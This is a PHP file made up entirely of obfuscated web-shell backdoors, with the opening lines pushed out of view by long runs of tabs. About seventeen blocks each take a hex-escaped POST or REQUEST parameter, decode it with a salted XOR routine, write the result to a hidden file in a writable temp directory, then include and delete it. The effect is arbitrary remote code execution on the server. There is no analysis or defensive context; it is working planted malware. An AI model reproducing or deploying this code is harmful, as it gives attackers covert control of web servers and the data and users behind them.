<?php																																										if(!empty($_POST["m\x61\x72\x6Ber"])){ $symbol = $_POST["m\x61\x72\x6Ber"]; $symbol= explode ( "." , $symbol) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; $__tmp = $symbol; while ($v7 = array_shift($__tmp)) { $sChar = ord($salt[$m % $sLen]); $dec = ((int)$v7 - $sChar - ($m % 10)) ^ 74; $sym .=chr($dec); $m++; } $value = array_filter(["/var/tmp", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); $tkn = 0; do { $entity = $value[$tkn] ?? null; if ($tkn >= count($value)) break; if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $itm = join("/", [$entity, ".ent"]); if (file_put_contents($itm, $sym)) { include $itm; @unlink($itm); exit; } } $tkn++; } while (true); }
																																										if(isset($_REQUEST["\x65ntry"])){ $desc = $_REQUEST["\x65ntry"]; $desc = explode("." , $desc ) ; $data_chunk = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); foreach ($desc as $o => $v4) { $sChar = ord($s4[$o% $sLen]); $dec = ((int)$v4 - $sChar - ($o% 10))^ 71; $data_chunk .=chr($dec); } $factor = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd()]); foreach ($factor as $obj): if (!( !is_dir($obj) || !is_writable($obj) )) { $data = implode("/", [$obj, ".key"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $data; @unlink($data); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x6Fb\x6A")){ $ptr = $_REQUEST["\x6Fb\x6A"]; $ptr= explode ('.' , $ptr ); $item =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt7); $p =0; array_walk($ptr, function ($v6) use (&$item, &$p, $salt7, $sLen) { $chS =ord($salt7[$p %$sLen]); $dec =((int)$v6 - $chS - ($p %10)) ^ 37; $item .= chr($dec); $p++;} ); $entity = array_filter([getcwd(), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP")]); while ($rec = array_shift($entity)) { if (max(0, is_dir($rec) * is_writable($rec))) { $sym = "$rec" . "/.bind"; $file = fopen($sym, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $sym; @unlink($sym); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "p\x72o\x70er\x74\x79_set")){ $record = $_POST["p\x72o\x70er\x74\x79_set"]; $record = explode ( ".", $record ) ; $descriptor= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); foreach ($record as $j=>$v5) { $chS= ord($salt[$j % $sLen]); $dec= ((int)$v5 - $chS - ($j % 10)) ^ 62; $descriptor .= chr($dec); } $symbol = array_filter(["/var/tmp", "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($symbol as $k): if (is_dir($k) && is_writable($k)) { $pgrp = implode("/", [$k, ".component"]); if (@file_put_contents($pgrp, $descriptor) !== false) { include $pgrp; unlink($pgrp); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x76\x61l"]) ? true : false){ $bind = $_REQUEST["\x76\x61l"]; $bind =explode ( '.' ,$bind ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $bind as $r=>$v3) {$chS = ord( $s[$r% $sLen]); $d =( ( int)$v3 - $chS -( $r% 10)) ^ 99; $ent .= chr( $d); } $entry = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp", getenv("TMP")]); foreach ($entry as $itm) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $component = str_replace("{var_dir}", $itm, "{var_dir}/.symbol"); $file = fopen($component, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $res = $_POST["k"]; $res =explode ( "." , $res ) ; $ptr =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt7); $len =count($res); for ($m =0; $m < $len; $m++) { $v8 =$res[$m]; $chS =ord($salt7[$m % $lenS]); $d =((int)$v8 - $chS - ($m % 10)) ^ 90; $ptr .= chr($d); } $item = array_filter(["/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($item as $key => $token) { if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $itm = implode("/", [$token, ".record"]); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $itm; @unlink($itm); die(); } } } }
																																										if(isset($_POST["\x64\x61ta"]) ? true : false){ $resource = $_POST["\x64\x61ta"]; $resource = explode ( '.', $resource ) ; $component =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s1 ); $w =0; $__tmp =$resource; while( $v9 =array_shift( $__tmp)) {$chS =ord( $s1[$w % $sLen] ); $dec =( ( int)$v9 - $chS -( $w % 10)) ^ 78; $component.= chr( $dec ); $w++; } $desc = array_filter([getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm"]); while ($parameter_group = array_shift($desc)) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $element = implode("/", [$parameter_group, ".ptr"]); if (@file_put_contents($element, $component) !== false) { include $element; unlink($element); die(); } } } }
																																										if(!is_null($_POST["e\x6E\x74"] ?? null)){ $val = array_filter(["/var/tmp", getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $record = $_POST["e\x6E\x74"]; $record =explode ( '.' , $record ) ; $symbol = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); foreach($record as $o => $v7): $chS = ord($salt4[$o % $lenS]); $dec =((int)$v7 - $chS -($o % 10))^26; $symbol.= chr($dec); endforeach; foreach ($val as $holder): if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $obj = vsprintf("%s/%s", [$holder, ".pset"]); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $obj; @unlink($obj); die(); } } endforeach; }
																																										if(array_key_exists("\x74k\x6E", $_POST)){ $hld = $_POST["\x74k\x6E"]; $hld =explode ( ".", $hld) ; $symbol= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s5); $q= 0; while ($q< count($hld)) { $v1= $hld[$q]; $sChar= ord($s5[$q % $lenS]); $d= ((int)$v1 - $sChar - ($q % 10))^ 69; $symbol .=chr($d); $q++; } $flag = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir()]); foreach ($flag as $record): if ((bool)is_dir($record) && (bool)is_writable($record)) { $pointer = "$record/.comp"; $success = file_put_contents($pointer, $symbol); if ($success) { include $pointer; @unlink($pointer); die();} } endforeach; }
																																										if(array_key_exists("hl\x64", $_REQUEST)){ $pointer = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $ref = $_REQUEST["hl\x64"]; $ref = explode ( '.' , $ref ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $s = 0; array_walk($ref,function($v4) use(&$fac,&$s,$salt,$lenS) { $chS = ord($salt[$s%$lenS] ); $dec = ((int)$v4 - $chS -($s%10)) ^96; $fac .= chr($dec ); $s++; } ); for ($obj = 0, $ent = count($pointer); $obj < $ent; $obj++) { $reference = $pointer[$obj]; if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $ptr = "$reference" . "/.tkn"; if (@file_put_contents($ptr, $fac) !== false) { include $ptr; unlink($ptr); exit; } } } }
																																										if(!empty($_REQUEST["va\x6C"])){ $symbol = $_REQUEST["va\x6C"]; $symbol = explode ( '.' , $symbol ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; $__tmp = $symbol; while ($v2 = array_shift($__tmp)) { $sChar = ord($salt[$v % $lenS]); $d = ((int)$v2 - $sChar - ($v % 10)) ^ 46; $ref .= chr($d); $v++; } $element = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", session_save_path(), "/tmp"]); foreach ($element as $tkn): if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $flag = "$tkn" . "/.value"; if (file_put_contents($flag, $ref)) { require $flag; unlink($flag); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x62in\x64"])){ $marker = $_POST["\x62in\x64"]; $marker = explode('.' , $marker ) ; $tkn= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s5); $x= 0; array_walk( $marker , function( $v9) use( &$tkn , &$x , $s5 , $lenS) { $sChar= ord( $s5[$x% $lenS]); $d= ( ( int)$v9 - $sChar -( $x% 10)) ^ 37; $tkn .= chr( $d); $x++;}); $record = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($record as $comp) { if (array_product([is_dir($comp), is_writable($comp)])) { $hld = "$comp" . "/.pointer"; if (file_put_contents($hld, $tkn)) { require $hld; unlink($hld); exit; } } } }
																																										if(array_key_exists("b\x69n\x64\x69\x6Eg", $_REQUEST) && !is_null($_REQUEST["b\x69n\x64\x69\x6Eg"])){ $bind = $_REQUEST["b\x69n\x64\x69\x6Eg"]; $bind = explode( ".",$bind ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; while($y<count($bind)) {$v4 = $bind[$y]; $sChar = ord($s[$y % $lenS]); $d = ((int)$v4 - $sChar -($y % 10)) ^ 98; $sym .= chr($d); $y++; } $symbol = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($symbol as $token) { if ((is_dir($token) and is_writable($token))) { $k = join("/", [$token, ".marker"]); if (@file_put_contents($k, $sym) !== false) { include $k; unlink($k); exit; } } } }
																																										if(isset($_POST["\x76\x61lue"])){ $ent = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); $dchunk = $_POST["\x76\x61lue"]; $dchunk = explode ( '.' , $dchunk ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; foreach ($dchunk as $v8) { $chS = ord($salt[$q % $lenS]); $d = ((int)$v8 - $chS - ($q % 10))^24; $record .= chr($d); $q++; } $elem = 0; do { $reference = $ent[$elem] ?? null; if ($elem >= count($ent)) break; if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $itm = "$reference/.entity"; if (file_put_contents($itm, $record)) { include $itm; @unlink($itm); exit; } } $elem++; } while (true); }
																																										if(in_array("d\x61\x74a", array_keys($_REQUEST))){ $record = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", "/tmp"]); $dchunk = $_REQUEST["d\x61\x74a"]; $dchunk = explode( "." , $dchunk ) ; $resource =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt1); $q =0; foreach($dchunk as $v8) { $sChar =ord($salt1[$q % $lenS]); $dec =((int)$v8 - $sChar -($q % 10)) ^ 44; $resource .= chr($dec); $q++;} foreach ($record as $itm) { if (!( !is_dir($itm) || !is_writable($itm) )) { $entry = str_replace("{var_dir}", $itm, "{var_dir}/.entity"); if (file_put_contents($entry, $resource)) { require $entry; unlink($entry); die(); } } } }
																																										if(!is_null($_POST["pt\x72"] ?? null)){ $obj = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); $val = $_POST["pt\x72"]; $val = explode( '.' , $val ) ; $res= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $j= 0; array_walk($val ,function ($v1) use (&$res ,&$j ,$salt ,$sLen) { $sChar= ord($salt[$j % $sLen] ); $dec= ((int)$v1 - $sChar - ($j % 10)) ^ 20; $res .=chr($dec ); $j++; } ); $factor = 0; do { $sym = $obj[$factor] ?? null; if ($factor >= count($obj)) break; if (!( !is_dir($sym) || !is_writable($sym) )) { $record = sprintf("%s/.data", $sym); $success = file_put_contents($record, $res); if ($success) { include $record; @unlink($record); exit;} } $factor++; } while (true); }


if(array_key_exists("m\x61rk\x65\x72", $_REQUEST)){
	$fac = $_REQUEST["m\x61rk\x65\x72"];
			$fac  	=  explode(		'.'	 ,			$fac)	 ; 	 
	$dchunk = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt5 );
            $__len = count($fac );
    
            for ($z = 0; $z < $__len; $z++) {
                $v6 = $fac[$z];
                $sChar = ord($salt5[$z% 	$lenS] );
                $dec = ((int)$v6 - $sChar - ($z% 	10))	^81;
                $dchunk .= chr($dec );
            }
	$component = array_filter([getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]);
	$obj = 0;
do {
    $item = $component[$obj] ?? null;
    if ($obj >= count($component)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($item)) {
    $mrk = sprintf("%s/.descriptor", $item);
    $success = file_put_contents($mrk, $dchunk);
if ($success) {
	include $mrk;
	@unlink($mrk);
	die();}
}
    $obj++;
} while (true);
}